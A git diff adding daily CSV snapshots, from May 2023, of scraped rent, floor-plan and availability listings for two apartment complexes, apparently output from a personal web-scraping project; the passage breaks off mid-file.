b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230509.csv @@ -0,0 +1,54 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230509,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230509,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230509,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230509,talisman,A1 (1x1),1 Bed 1 Bath,ContactUs,$300,604 - 671 sq.ft.,None,N/A +20230509,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230509,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230509,talisman,A2 (1x1),1 Bed 1 Bath,"$2,128",$300,617 - 715 sq.ft.,None,N/A +20230509,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230509,talisman,A6 (1x1),1 Bed 1 Bath,"$2,148",$300,650 sq.ft.,None,N/A +20230509,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230509,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230509,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230509,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230509,talisman,A5 (1x1),1 Bed 1 Bath,"$2,268",$300,734 - 739 sq.ft.,None,N/A +20230509,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230509,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230509,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230509,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,019",$300,785 - 852 sq.ft.,None,N/A +20230509,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230509,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230509,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230509,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,129",$300,906 - 930 sq.ft.,None,N/A +20230509,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230509,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230509,talisman,C2 (2x2),2 Bed 2 Bath,"$3,216",$300,1088 - 1243 sq.ft.,None,N/A +20230509,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,249",$300,890 - 945 sq.ft.,None,N/A +20230509,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230509,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230509,talisman,C3 (2x2),2 Bed 2 Bath,"$3,036",$300,1010 - 1103 sq.ft.,None,N/A +20230509,talisman,C1 (2x2),2 Bed 2 Bath,"$3,331",$300,1029 - 1294 sq.ft.,None,N/A +20230509,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230509,talisman,C7 (2x2),2 Bed 2 Bath,"$3,081",$300,1074 - 1131 sq.ft.,None,N/A +20230509,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230509,talisman,C8 (2x2),2 Bed 2 Bath,"$3,181",$300,1155 sq.ft.,None,N/A +20230509,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230509,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230509,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,539",$300,1228 - 1296 sq.ft.,None,N/A +20230509,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230509,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230509,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230509,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230509,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230509,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230509,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230509,modera,S01,Studio / 1 ba,"Starting from $1,949/month",$300,477+,/,"Available May 19, 2023" +20230509,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 13, 2023" +20230509,modera,S02,Studio / 1 ba,"Starting from $2,085/month",$300,498+,/,"Available May 16, 2023" +20230509,modera,A09,1 bd/1 ba,"$2,325/month",$300,640,/,"Available May 10, 2023" +20230509,modera,A10,1 bd/1 ba,"$2,625/month",$300,672+,/,"Available May 18, 2023" +20230509,modera,A16D,1 bd/1 ba,"Starting from $2,526/month",$300,882,/,Only One Left! +20230509,modera,B03,2 bd/2 ba,"Starting from $3,399/month",$300,"1,039+",/,"Available May 14, 2023" +20230509,modera,B07,2 bd/2 ba,"Starting from $3,484/month",$300,"1,233",/,"Available May 24, 2023" +20230509,modera,S01L,Studio / 1 ba,"Starting from $2,632/month",$300,641+,/,"Available May 13, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230511.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230511.csv new file mode 100644 index 00000000000..b8a3632d34c --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230511.csv @@ -0,0 +1,56 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230511,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230511,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230511,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230511,talisman,A1 (1x1),1 Bed 1 Bath,"$2,357",$300,604 - 671 sq.ft.,None,N/A +20230511,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230511,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230511,talisman,A2 (1x1),1 Bed 1 Bath,"$2,337",$300,617 - 715 sq.ft.,None,N/A +20230511,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230511,talisman,A6 (1x1),1 Bed 1 Bath,"$2,357",$300,650 sq.ft.,None,N/A +20230511,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230511,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230511,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230511,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230511,talisman,A5 (1x1),1 Bed 1 Bath,"$2,477",$300,734 - 739 sq.ft.,None,N/A +20230511,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230511,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230511,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230511,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,019",$300,785 - 852 sq.ft.,None,N/A +20230511,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230511,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230511,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230511,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,129",$300,906 - 930 sq.ft.,None,N/A +20230511,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230511,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,174",$300,883 - 888 sq.ft.,None,N/A +20230511,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230511,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,249",$300,890 - 945 sq.ft.,None,N/A +20230511,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230511,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230511,talisman,C3 (2x2),2 Bed 2 Bath,"$3,036",$300,1010 - 1103 sq.ft.,None,N/A +20230511,talisman,C1 (2x2),2 Bed 2 Bath,"$3,331",$300,1029 - 1294 sq.ft.,None,N/A +20230511,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230511,talisman,C7 (2x2),2 Bed 2 Bath,"$3,081",$300,1074 - 1131 sq.ft.,None,N/A +20230511,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230511,talisman,C8 (2x2),2 Bed 2 Bath,"$3,181",$300,1155 sq.ft.,None,N/A +20230511,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230511,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230511,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,539",$300,1228 - 1296 sq.ft.,None,N/A +20230511,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230511,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230511,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230511,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230511,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230511,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230511,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230511,modera,S01,Studio / 1 ba,"Starting from $2,077/month",$300,477+,/,"Available May 19, 2023" +20230511,modera,S01L,Studio / 1 ba,"Starting from $2,760/month",$300,641+,/,"Available May 13, 2023" +20230511,modera,S02,Studio / 1 ba,"Starting from $2,213/month",$300,498+,/,"Available May 19, 2023" +20230511,modera,A01,1 bd/1 ba,"Starting from $2,070/month",$300,531,/,"Available Jun 11, 2023" +20230511,modera,A09,1 bd/1 ba,"$2,325/month",$300,640,/,Only One Left! +20230511,modera,A10,1 bd/1 ba,"$2,625/month",$300,672+,/,"Available May 18, 2023" +20230511,modera,A16D,1 bd/1 ba,"Starting from $2,549/month",$300,882,/,Only One Left! +20230511,modera,B02,2 bd/2 ba,"Starting from $3,152/month",$300,989+,/,"Available Jun 08, 2023" +20230511,modera,B03,2 bd/2 ba,"Starting from $3,397/month",$300,"1,039+",/,"Available May 20, 2023" +20230511,modera,B07,2 bd/2 ba,"Starting from $3,482/month",$300,"1,233",/,"Available May 24, 2023" +20230511,modera,S01L,Studio / 1 ba,"Starting from $2,760/month",$300,641+,/,"Available May 13, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230512.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230512.csv new file mode 100644 index 00000000000..f92a2cacb85 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230512.csv @@ -0,0 +1,56 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230512,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230512,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230512,talisman,A10 (1x1),1 Bed 1 Bath,"$2,465",$300,578 - 665 sq.ft.,None,N/A +20230512,talisman,A1 (1x1),1 Bed 1 Bath,"$2,475",$300,604 - 671 sq.ft.,None,N/A +20230512,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230512,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230512,talisman,A2 (1x1),1 Bed 1 Bath,"$2,455",$300,617 - 715 sq.ft.,None,N/A +20230512,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230512,talisman,A6 (1x1),1 Bed 1 Bath,"$2,475",$300,650 sq.ft.,None,N/A +20230512,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230512,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230512,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230512,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230512,talisman,A5 (1x1),1 Bed 1 Bath,"$2,595",$300,734 - 739 sq.ft.,None,N/A +20230512,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230512,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230512,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230512,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,019",$300,785 - 852 sq.ft.,None,N/A +20230512,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230512,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230512,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230512,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,129",$300,906 - 930 sq.ft.,None,N/A +20230512,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230512,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,174",$300,883 - 888 sq.ft.,None,N/A +20230512,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230512,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,249",$300,890 - 945 sq.ft.,None,N/A +20230512,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230512,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230512,talisman,C3 (2x2),2 Bed 2 Bath,"$3,192",$300,1010 - 1103 sq.ft.,None,N/A +20230512,talisman,C1 (2x2),2 Bed 2 Bath,"$3,487",$300,1029 - 1294 sq.ft.,None,N/A +20230512,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230512,talisman,C7 (2x2),2 Bed 2 Bath,"$3,237",$300,1074 - 1131 sq.ft.,None,N/A +20230512,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230512,talisman,C8 (2x2),2 Bed 2 Bath,"$3,337",$300,1155 sq.ft.,None,N/A +20230512,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230512,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230512,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,539",$300,1228 - 1296 sq.ft.,None,N/A +20230512,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230512,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230512,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230512,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230512,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230512,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230512,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230512,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,"Available May 19, 2023" +20230512,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,"Available May 13, 2023" +20230512,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,"Available May 19, 2023" +20230512,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230512,modera,A09,1 bd/1 ba,"$2,345/month",$300,640,/,Only One Left! +20230512,modera,A10,1 bd/1 ba,"$2,645/month",$300,672+,/,"Available May 18, 2023" +20230512,modera,A16D,1 bd/1 ba,"Starting from $2,561/month",$300,882,/,Only One Left! +20230512,modera,B02,2 bd/2 ba,"Starting from $3,152/month",$300,989+,/,"Available Jun 08, 2023" +20230512,modera,B03,2 bd/2 ba,"Starting from $3,397/month",$300,"1,039+",/,"Available May 20, 2023" +20230512,modera,B07,2 bd/2 ba,"Starting from $3,482/month",$300,"1,233",/,"Available May 24, 2023" +20230512,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,"Available May 13, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230513.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230513.csv new file mode 100644 index 00000000000..a12cc38be17 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230513.csv @@ -0,0 +1,56 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230513,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230513,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230513,talisman,A10 (1x1),1 Bed 1 Bath,"$2,465",$300,578 - 665 sq.ft.,None,N/A +20230513,talisman,A1 (1x1),1 Bed 1 Bath,"$2,475",$300,604 - 671 sq.ft.,None,N/A +20230513,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230513,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230513,talisman,A2 (1x1),1 Bed 1 Bath,"$2,455",$300,617 - 715 sq.ft.,None,N/A +20230513,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230513,talisman,A6 (1x1),1 Bed 1 Bath,"$2,475",$300,650 sq.ft.,None,N/A +20230513,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230513,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230513,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230513,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230513,talisman,A5 (1x1),1 Bed 1 Bath,"$2,595",$300,734 - 739 sq.ft.,None,N/A +20230513,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230513,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230513,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230513,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,019",$300,785 - 852 sq.ft.,None,N/A +20230513,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230513,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230513,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230513,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,129",$300,906 - 930 sq.ft.,None,N/A +20230513,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230513,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,174",$300,883 - 888 sq.ft.,None,N/A +20230513,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230513,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,249",$300,890 - 945 sq.ft.,None,N/A +20230513,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230513,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230513,talisman,C3 (2x2),2 Bed 2 Bath,"$3,192",$300,1010 - 1103 sq.ft.,None,N/A +20230513,talisman,C1 (2x2),2 Bed 2 Bath,"$3,487",$300,1029 - 1294 sq.ft.,None,N/A +20230513,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230513,talisman,C7 (2x2),2 Bed 2 Bath,"$3,237",$300,1074 - 1131 sq.ft.,None,N/A +20230513,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230513,talisman,C8 (2x2),2 Bed 2 Bath,"$3,337",$300,1155 sq.ft.,None,N/A +20230513,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230513,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230513,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,539",$300,1228 - 1296 sq.ft.,None,N/A +20230513,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230513,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230513,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230513,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230513,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230513,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230513,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230513,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,"Available May 19, 2023" +20230513,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! +20230513,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,"Available May 19, 2023" +20230513,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230513,modera,A09,1 bd/1 ba,"$2,345/month",$300,640,/,Only One Left! +20230513,modera,A10,1 bd/1 ba,"$2,645/month",$300,672+,/,"Available May 18, 2023" +20230513,modera,A16D,1 bd/1 ba,"Starting from $2,543/month",$300,882,/,Only One Left! +20230513,modera,B02,2 bd/2 ba,"Starting from $3,152/month",$300,989+,/,"Available Jun 08, 2023" +20230513,modera,B03,2 bd/2 ba,"Starting from $3,397/month",$300,"1,039+",/,"Available May 20, 2023" +20230513,modera,B07,2 bd/2 ba,"Starting from $3,482/month",$300,"1,233",/,"Available May 24, 2023" +20230513,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230514.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230514.csv new file mode 100644 index 00000000000..6f1235e620c --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230514.csv @@ -0,0 +1,56 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230514,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230514,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230514,talisman,A10 (1x1),1 Bed 1 Bath,"$2,465",$300,578 - 665 sq.ft.,None,N/A +20230514,talisman,A1 (1x1),1 Bed 1 Bath,"$2,475",$300,604 - 671 sq.ft.,None,N/A +20230514,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230514,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230514,talisman,A2 (1x1),1 Bed 1 Bath,"$2,455",$300,617 - 715 sq.ft.,None,N/A +20230514,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230514,talisman,A6 (1x1),1 Bed 1 Bath,"$2,475",$300,650 sq.ft.,None,N/A +20230514,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230514,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230514,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230514,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230514,talisman,A5 (1x1),1 Bed 1 Bath,"$2,595",$300,734 - 739 sq.ft.,None,N/A +20230514,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230514,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230514,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230514,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,019",$300,785 - 852 sq.ft.,None,N/A +20230514,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230514,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230514,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230514,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,129",$300,906 - 930 sq.ft.,None,N/A +20230514,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230514,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,174",$300,883 - 888 sq.ft.,None,N/A +20230514,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230514,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,249",$300,890 - 945 sq.ft.,None,N/A +20230514,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230514,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230514,talisman,C3 (2x2),2 Bed 2 Bath,"$3,192",$300,1010 - 1103 sq.ft.,None,N/A +20230514,talisman,C1 (2x2),2 Bed 2 Bath,"$3,487",$300,1029 - 1294 sq.ft.,None,N/A +20230514,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230514,talisman,C7 (2x2),2 Bed 2 Bath,"$3,237",$300,1074 - 1131 sq.ft.,None,N/A +20230514,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230514,talisman,C8 (2x2),2 Bed 2 Bath,"$3,337",$300,1155 sq.ft.,None,N/A +20230514,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230514,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230514,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,539",$300,1228 - 1296 sq.ft.,None,N/A +20230514,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230514,talisman,CL8 (2x2),2 Bed 